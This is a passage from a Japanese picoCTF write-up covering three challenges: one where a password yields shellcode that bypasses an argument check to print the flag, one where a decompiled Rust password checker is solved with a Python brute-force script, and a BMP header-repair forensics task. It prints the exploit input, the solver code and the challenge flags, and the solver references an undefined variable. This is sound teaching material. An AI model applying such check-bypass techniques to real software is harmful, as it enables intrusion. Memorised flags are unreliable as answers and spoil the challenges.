*)puVar2)(FUN_0010102b);
FUN_0010102b
はフラグを表示する関数です。第一引数が0x7b3dc26f1でないとフラグを表示してくれません。
パスワードの最初の4文字はヒントよりD1v1
とわかっています。これを上記のdecompile.py
のinpに与えてやるとb"\x48\x89\xfe\x48"
が返ってきます。これはmov rsi, rdi
を表しています。
local_d8の中身が、
mov rsi, rdi xor rdi, rdi mov rdi, 0x7b3dc26f1 jmp rsi
のようになる入力を探しても見つからず、いろいろ試していたらD1v1plsu0jPO$U2h
と入力するとうまくいくことがわかりました。これを入力すると以下の命令が実行されます。
mov rsi, rdi xor sil, 0x45 dec rsi nop jmp rsi jbe 0xfa3
FUN_0010102b
のアドレスの下位2byteは0x102b、FUN_0010102b
内の__stream = fopen("flag","r");
のアドレスの下位2byteは0x106dです。rsiにはFUN_0010102b
のアドレスが入っており、xor sil, 0x45
とdec rsi
で0x102b ^ 0x45 - 1 = 0x106dとなるため第一引数をチェックしている部分を無視してフラグを表示できるようになっています。
$ nc mercury.picoctf.net 17615 Password: D1v1plsu0jPO$U2h picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}
Checkpass
checkpassというELF形式の実行ファイルが与えられます。実行するとUsageが表示されます。
$ ./checkpass Usage: ./checkpass <password>
適当にpasswordを与えてやると今度はInvalid length
と表示されます。
$ ./checkpass hogehoge Invalid length
passwordの長さを少しずつ増やしながら与えてやると41文字でInvalid password
と表示されるようになりました。
$ ./checkpass AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Invalid password
これらの情報を元に解析を進めていきます。
とりあえずGhidraでデコンパイルしてmain関数と思われる関数を見てみます。
void FUN_00105960(void) { long *plVar1; undefined4 *puVar2; long *plVar3; undefined4 uVar4; undefined4 uVar5; undefined4 uVar6; undefined4 uVar7; undefined4 uVar8; undefined4 uVar9; undefined4 uVar10; undefined **local_128; undefined *puStack288; undefined *local_118; undefined4 uStack272; undefined4 uStack268; long *local_108; undefined8 local_100; char local_f5; char local_f2; char local_f1; char local_f0; char local_ef; char local_ee; char local_ed; char local_ec; char local_eb; char local_ea; char local_e9; char local_e8; char local_e7; char local_e6; char local_e5; char local_e4; char local_e3; char local_e2; char local_e1; char local_e0; char local_df; char local_de; char local_dd; char local_dc; char local_db; char local_da; char local_d9; char local_d8; char local_d7; char local_d6; char local_d5; char local_d4; char local_d3; char local_d2; char local_d1; char local_d0; char local_cf; char local_ce; char local_cd; char local_cc; char local_cb; char local_ca; char local_c9; char local_c8; char local_c7; char local_c6; char local_c5; char local_c4; char local_c3; char local_c2; char local_c1; undefined **local_c0; undefined4 local_b8; undefined4 uStack180; long lStack176; long local_a8; code *pcStack160; undefined4 uStack144; undefined4 uStack140; long local_88 [2]; long local_78; undefined local_70 [24]; undefined4 uStack88; undefined4 uStack84; undefined local_50 [24]; undefined4 uStack56; undefined4 uStack52; local_108 = &local_a8; FUN_0011f000(local_108); uStack272 = uStack144; uStack268 = uStack140; FUN_00106a00(local_88,&local_128); if (local_78 == 2) { if (*(long *)(local_88[0] + 0x28) == 0x29) { plVar3 = *(long **)(local_88[0] + 0x18); if (((plVar3 == (long *)&DAT_00139d78) || (*plVar3 == 0x7b4654436f636970)) && ((plVar1 = plVar3 + 5, plVar1 == (long *)&DAT_00139d94 || (*(char *)plVar1 == '}')))) { if (*(char *)(plVar3 + 1) < -0x40) { FUN_00134220(plVar3,0x29,8,0x29,&PTR_s_src/main.rs_00348260); } else { if (*(char *)plVar1 < -0x40) { FUN_00134220(plVar3 + 1,0x21,0,0x20,&PTR_s_src/main.rs_00348260); } else { local_c0 = (undefined **)thunk_FUN_0011ac90(0x20,1); if (local_c0 == (undefined **)0x0) { FUN_00132f80(0x20,1); do { invalidInstructionException(); } while( true ); } local_b8 = 0x20; uStack180 = 0; lStack176 = 0; /* try { // try from 00105b2a to 00105b3a has its CatchHandler @ 001065c8 */ /* } // end try from 00105b2a to 00105b3a */ FUN_00106720(&local_c0,0,0x20); uVar4 = *(undefined4 *)(plVar3 + 1); uVar5 = *(undefined4 *)((long)plVar3 + 0xc); uVar6 = *(undefined4 *)(plVar3 + 2); uVar7 = *(undefined4 *)((long)plVar3 + 0x14); uVar8 = *(undefined4 *)((long)plVar3 + 0x1c); uVar9 = *(undefined4 *)(plVar3 + 4); uVar10 = *(undefined4 *)((long)plVar3 + 0x24); puVar2 = (undefined4 *)((long)local_c0 + lStack176 + 0x10); *puVar2 = *(undefined4 *)(plVar3 + 3); puVar2[1] = uVar8; puVar2[2] = uVar9; puVar2[3] = uVar10; puVar2 = (undefined4 *)((long)local_c0 + lStack176); *puVar2 = uVar4; puVar2[1] = uVar5; puVar2[2] = uVar6; puVar2[3] = uVar7; if (lStack176 == 0) { local_128 = (undefined **)*local_c0; puStack288 = local_c0[1]; local_118 = local_c0[2]; uStack272 = *(undefined4 *)(local_c0 + 3); uStack268 = *(undefined4 *)((long)local_c0 + 0x1c); /* try { // try from 00105b77 to 001065c2 has its CatchHandler @ 001065d7 */ lStack176 = lStack176 + 0x20; FUN_001054e0(local_70,&local_128,0); uStack272 = uStack88; uStack268 = uStack84; FUN_001054e0(local_50,&local_128,1); uStack272 = uStack56; uStack268 = uStack52; FUN_001054e0(&local_a8,&local_128,2); uStack272 = uStack144; uStack268 = uStack140; FUN_001054e0(&local_e0,&local_128,3); local_e9 = local_dd; local_e3 = local_dc; local_ec = local_db; local_e1 = local_da; local_f0 = local_d9; local_e7 = local_d8; local_e2 = local_d6; local_ee = local_d5; local_e5 = local_d3; local_f1 = local_d1; local_ed = local_d0; local_e6 = local_cf; local_e4 = local_ce; local_ea = local_cc; local_eb = local_cb; local_ef = local_ca; local_e8 = local_c4; local_f2 = local_c2; local_128 = (undefined **)0x19; local_f5 = local_de; if ((((((local_c7 == -0x1a) && (local_128 = (undefined **)0x0, local_e0 == '\x1f')) && (local_128 = (undefined **)0xe, local_d2 == -0x31)) && ((local_128 = (undefined **)0x13, local_cd == -0x48 && (local_128 = (undefined **)0x17, local_c9 == -0xc)))) && ((((local_128 = (undefined **)0x1, local_df == -0x67 && ((local_128 = (undefined **)0x1d, local_c3 == -0x1a && (local_128 = (undefined **)0x1b, local_c5 == -0x33)))) && ((local_128 = (undefined **)0x1a, local_c6 == 'w' && (((((local_128 = (undefined **)0xc, local_d4 == -0x62 && (local_128 = (undefined **)0x1f, local_c1 == '{')) && (local_128 = (undefined **)0x6, local_da == ':')) && ((local_128 = (undefined **)0xa, local_d6 == -0x52 && (local_128 = (undefined **)0xf, local_d1 == 'H')))) && (local_128 = (undefined **)0x1e, local_c2 == 'w')))))) && (((((local_128 = (undefined **)0x7, local_d9 == -0x35 && (local_128 = (undefined **)0xb, local_d5 == -0x35)) && ((local_128 = (undefined **)0x5, local_db == '\"' && (((local_128 = (undefined **)0x16, local_ca == 'F' && (local_128 = (undefined **)0x10, local_d0 == '\x05')) && (local_128 = (undefined **)0x15, local_cb == -0x67)))))) && ((local_128 = (undefined **)0x3, local_dd == -0x3e && (local_128 = (undefined **)0x14, local_cc == -0x33)))) && (local_128 = (undefined **)0x8, local_d8 == 'E')))))) && ((((local_128 = (undefined **)0x1c, local_c4 == '+' && (local_128 = (undefined **)0xd, local_d3 == ' ')) && ((local_128 = (undefined **)0x11, local_cf == '{' && (((local_128 = (undefined **)0x2, local_de == 'P' && (local_128 = (undefined **)0x9, local_d7 == -0x59)) && (local_128 = (undefined **)0x4, local_dc == -0x48)))))) && ((local_128 = (undefined **)0x18, local_c8 == -0x31 && (local_128 = (undefined **)0x12, local_ce == '{')))))) { FUN_001066a0(); } else { FUN_00106650(); } } else { lStack176 = lStack176 + 0x20; FUN_00106600(); } } } } else { FUN_00106650(); } } else { FUN_00106600(); } } else { if (local_78 == 0) { /* try { // try from 00105a53 to 00105b16 has its CatchHandler @ 001065e6 */ FUN_001356a0(0,0,&PTR_s_src/main.rs_00348248); } else { local_a8 = local_88[0]; pcStack160 = FUN_001054c0; local_128 = &PTR_DAT_00348228; puStack288 = (undefined *)0x2; local_118 = (undefined *)0x0; local_100 = 1; FUN_001083b0(&local_128); FUN_0011f1d0(1); } } do { invalidInstructionException(); } while( true ); }
大まかに処理の流れをまとめると以下のようになります。
- 第一引数として与えられた文字列(以下inputという)の長さが0x29かどうかチェック
- inputが
picoCTF{}
という形式かチェック - inputを
FUN_001054e0
に4回通す - inputが正しければ
Success
、間違っていればInvalid password
と表示
3,4番の処理をPythonで書き直して総当りでフラグを求めました。
import string data = [[-91, -32, -126, 8, 104, 56, 22, -3, -67, -83, 20, 126, -85, 30, -21, -90, -49, 54, 55, -52, -23, -120, 79, 58, -61, 6, 93, -81, -107, 15, -77, 88, -110, -4, -116, -27, 96, 43, -62, 105, 102, 34, -72, 13, -17, -124, 95, -96, -41, 110, 42, -53, 70, 44, -15, -79, -87, -34, -43, -73, -50, 57, 98, -24, 112, 12, 33, -58, 100, 125, -69, -63, -104, 32, 2, -1, 127, 85, 107, 108, -12, 84, -16, 86, -55, 87, -99, -48, -59, -127, 67, 103, -33, -8, 71, -75, 121, -97, 60, 31, -100, 24, -128, -102, -115, 48, -39, -108, 47, 66, 80, 53, 116, 17, -114, 78, -60, 4, -80, -31, 92, 61, 114, -57, 25, 106, 77, 73, 3, 21, -111, -103, 26, 5, -64, -25, 82, -117, 111, 89, -7, -123, -45, -68, 37, -51, -74, -37, -20, 91, 123, -10, -86, 115, 29, -2, 38, 65, 62, -93, 83, -19, 90, 52, -22, -84, 23, -112, 16, 51, 99, -89, -46, 118, -9, -66, -125, 74, 122, 10, -36, 69, -42, 72, -18, 36, -14, 68, 18, 49, 28, 50, -38, 94, 35, 45, -88, -92, 0, 27, 64, 120, 101, 124, 113, -40, -121, -35, 1, 59, 75, -65, 39, 97, 109, 11, -95, -29, -47, 81, -98, -44, -5, -82, -6, -13, -76, 14, -54, -109, 9, -56, -71, -105, 117, 76, -28, -106, 63, -101, 119, -26, 41, 19, 7, -78, 46, -119, 40, -30, -94, -113, -118, -122, -11, -70], [105, 2, 100, 19, 75, -46, -28, -11, -124, -20, -64, -31, 72, 18, 91, -108, -75, -117, -19, 101, 87, -48, 15, 62, 55, -120, -45, -32, 52, -24, 45, -101, -83, 70, 42, 31, 89, 46, 108, -56, 14, -34, 106, -74, 121, -121, 34, -105, -59, 20, 25, -35, -63, -73, -112, 66, -77, -21, -25, 23, 77, 85, -2, 13, -10, 51, -58, -26, 109, -30, -79, 3, 71, -13, 38, -4, 22, 27, -62, 40, 7, 96, -84, 118, -115, 111, 97, -53, 107, -128, -99, 21, -81, 56, -80, -47, -44, 88, 61, -125, -5, -90, 26, -93, 115, 120, 36, -27, 65, -22, -52, 63, -7, -113, -66, -97, 110, 68, 73, -69, -89, 76, 64, -78, -14, 49, -54, -41, -23, -72, 114, -71, 84, 50, 92, -43, -57, 74, 17, 8, -70, 117, -36, -67, 125, 24, 98, 39, -111, -118, 116, -51, 53, -104, 123, 5, -61, 67, -91, -15, 41, -1, 113, -29, 78, 82, 37, 81, -60, 47, 30, -107, -85, 102, 86, -110, 127, 10, 32, -38, -109, -42, -76, 57, 16, -98, -40, -68, 4, -50, 93, -114, -116, 58, -87, 0, -33, -6, 59, 103, 104, 83, 122, -94, 69, 79, 124, 6, -92, -127, 28, -119, -39, -96, 44, 33, -106, -95, 95, 119, -82, -122, -126, -100, -86, -12, -37, -49, -65, -88, 99, -8, 11, 9, 60, -55, -17, -16, 43, 90, -18, -103, 1, 48, -123, 94, 126, 54, 29, -3, 80, 112, 12, -102, 35, -9], [-50, 106, -21, -59, 71, 22, -24, -36, -116, 57, -81, -77, 31, -61, 104, 126, -3, 16, -38, 60, 30, 21, 87, -93, -29, -88, 78, 5, 10, 118, 116, -32, -105, 119, -109, -97, 123, 113, 49, -11, 59, -84, -76, -101, -58, 94, -102, 55, 34, 1, -44, -103, -121, -28, -83, -89, 107, 36, 20, 100, 98, -22, 82, 124, 56, 92, -52, -4, 35, 84, 72, 37, 9, -107, 46, -79, 52, -31, -1, 23, 58, -17, -55, 80, 62, -5, 114, -48, 77, 42, 75, -90, -12, -123, -54, 0, 48, -63, 108, 70, 53, -35, -124, -108, 47, 86, -23, 109, 85, 6, -117, 54, -98, 93, -43, 63, -112, 96, 103, -10, -120, -80, 121, -40, -95, -6, 2, -115, 73, -15, -127, -126, -71, 67, 105, -18, 91, 4, -30, 97, 14, -73, -64, -16, 40, -87, 115, -125, 28, -66, 76, 19, 117, -111, 27, -51, -67, 127, 12, -122, 26, -92, -46, -118, -9, 68, 69, -85, 50, 66, -49, -34, 25, -114, 79, 111, 110, -57, -72, -19, -91, 65, -56, 41, 13, -106, 89, 99, -42, -70, -8, 61, -37, -99, 120, -104, 38, -94, -2, 44, -68, 39, -119, 3, 81, -45, 17, -39, 101, -25, -26, 51, 15, -110, -75, -100, -65, -53, 24, 112, -60, 7, -82, 125, -78, 45, -113, -62, 32, -14, -86, 64, -41, 18, 29, -74, 88, 90, -96, 43, 74, -13, 11, -7, 95, 8, -33, 122, -20, 102, -69, -27, 83, -47, 33, -128], [17, -125, 77, 111, 26, 10, -111, 53, 95, 62, -128, 20, -87, -38, -10, 85, -44, -32, 1, -82, 119, 9, 33, 101, -101, -86, 86, -94, 112, 16, -66, -122, -15, 19, 117, 25, 30, 103, 7, -14, -107, 37, 124, 105, -17, -2, 68, 15, 113, -61, -19, -18, 106, -89, -48, -78, 76, 89, 44, -29, 47, -106, 127, -30, -91, -23, -52, 43, 12, 118, -56, -108, 73, -69, 23, 2, -20, -116, 100, 11, 4, -53, -70, -90, 27, 79, 21, 121, -105, -126, 65, -67, 116, 75, -71, 98, -26, -57, -64, 84, 80, -109, -9, -96, 0, -25, -84, 3, -36, 90, -27, -63, 29, 126, 60, 42, 74, -42, 108, -39, -37, -77, -93, 71, 81, 32, 6, 91, -1, -103, 41, -3, -60, -95, -5, -123, -79, -34, 40, -35, 102, 52, 88, 36, -59, -115, -22, -58, 96, -13, -31, -97, -49, 35, -81, 46, 64, 92, 125, 24, -62, 115, -51, -83, 67, -127, -112, 34, 94, 45, -75, -11, -16, -104, 38, -45, -7, 107, -76, -43, 28, 31, 57, -98, -74, -100, -120, 69, -46, 61, -88, 82, -47, 70, 22, -54, -12, 110, 120, 104, 8, 56, -119, -55, -110, 13, -85, -80, 54, -33, 58, 99, -6, 39, -68, -92, -72, 50, 78, 14, 123, 114, 109, 83, 93, -41, -114, 55, 87, 48, -121, -21, 66, 18, -102, -65, 59, -24, -28, -73, 63, 97, -50, 5, -40, -4, -8, 49, -124, -99, 51, -117, 122, -113, 72, -118]] data_idx = [[12, 25, 31, 15], [31, 12, 8, 27], [17, 3, 6, 25], [22, 14, 9, 19], [1, 11, 21, 22], [10, 7, 30, 8], [15, 18, 29, 4], [5, 22, 22, 24], [19, 31, 18, 20], [3, 19, 10, 14], [26, 30, 27, 11], [20, 21, 19, 9], [6, 23, 16, 10], [16, 9, 1, 2], [0, 24, 14, 6], [24, 0, 24, 23], [8, 5, 12, 17], [11, 28, 7, 18], [23, 29, 15, 3], [4, 16, 2, 13], [9, 27, 17, 12], [21, 1, 20, 26], [18, 15, 23, 7], [13, 8, 11, 5], [7, 6, 26, 31], [30, 20, 28, 28], [2, 13, 13, 30], [28, 17, 0, 0], [25, 2, 3, 1], [27, 4, 25, 21], [29, 26, 5, 29], [14, 10, 4, 16]] target_idx = [8,0x19,0x1b,0x1c,0x11,0xe,0xc,0xf,2,0x15,0x10,9,0x13,10,0xd,6,0x16,0,0x1e,1,4,0x1a,0x1d,3,0x1f,0x14,0x18,7,0xb,0x17,5,0x12] expected_dat = [31, -103, 80, -62, -72, 34, 58, -53, 69, -89, -82, -53, -98, 32, -49, 72, 5, 123, 123, -72, -51, -103, 70, -12, -49, -26, 119, -51, 43, -26, 119, 123] indices = [0x19, 0x00, 0x0e, 0x13, 0x17, 0x01, 0x1d, 0x1b, 0x1a, 0x0c, 0x1f, 0x06, 0x0a, 0x0f, 0x1e, 0x07, 0x0b, 0x05, 0x16, 0x10, 0x15, 0x03, 0x14, 0x08, 0x1c, 0x0d, 0x11, 0x02, 0x09, 0x04, 0x18, 0x12] plain_indices = [0x61,0x48,0x56,0x5b,0x5f,0x49,0x65,0x63,0x62,0x54,0x67,0x4e,0x52,0x57,0x66,0x4f,0x53,0x4d,0x5e,0x58,0x5d,0x4b,0x5c,0x50,0x64,0x55,0x59,0x4a,0x51,0x4c,0x60,0x5a] plain_indices = [p - 0x48 for p in plain_indices] expected = [expected_dat[i] & 0xff for i in indices] expected_map = dict([(p, e) for p, e in zip(plain_indices, expected)]) def nth_FUN001054e0(n, c): idx = n buf = ord(c) for i in range(4): for di, d in enumerate(data_idx): if d[i] == tmp: break idx = target_idx[di] buf = data[i][buf] & 0xff return buf, idx flag = bytearray(0x20) for i in range(32): for c in string.printable: p, idx = nth_FUN001054e0(i, c.encode()) if p == expected_map[idx]: flag[i] = ord(c) break print("picoCTF{" + flag.decode() + "}")
$ python solve.py picoCTF{t1mingS1deChann3l_9GrRhPdQgJ9XGi}
Forensics
tunn3l v1s10n
tunn3l_v1s10nというファイルが渡されます。とりあえずxxdで16進ダンプしてみます。
$ xxd tunn3l_v1s10n | head -n 3 00000000: 424d 8e26 2c00 0000 0000 bad0 0000 bad0 BM.&,.....<...(. 00000010: 0000 6e04 0000 3201 0000 0100 1800 0000 ..n...2......... 00000020: 0000 5826 2c00 2516 0000 2516 0000 0000 ..X&,.%...%.....
最初の2バイトがBM
となっているのでbmpファイルだとわかります。しかし、開こうと思っても開けません。
ヘッダをよく見ると11,12バイト目の部分と15,16バイト目の部分がおかしくなっています。bmpファイルフォーマットについて調べて、以下のように修正すると開けるようになりました。
$ xxd tunn3l_v1s10n | head -n 3 00000000: 424d 8e26 2c00 0000 0000 3c00 0000 2800 BM.&,.....<...(. 00000010: 0000 6e04 0000 3201 0000 0100 1800 0000 ..n...2......... 00000020: 0000 5826 2c00 2516 0000 2516 0000 0000 ..X&,.%...%.....
しかし、notaflag{sorry}
と書かれているだけでフラグが見つかりません。
そこで、ファイルサイズに対して画像のサイズが小さいことが不思議だったのでヘッダを適当に弄っているとフラグが出てきました。以下は修正後の16進ダンプです。3201
が5203
に変わっています。
xxd tunn3l_v1s10n.bmp | head -n 3 00000000: 424d 8e26 2c00 0000 0000 3c00 0000 2800 BM.&,.....<...(. 00000010: 0000 6e04 0000 5203 0000 0100 1800 0000 ..n...R......... 00000020: 0000 5826 2c00 2516 0000 2516 0000 0000 ..X&,.%...%.....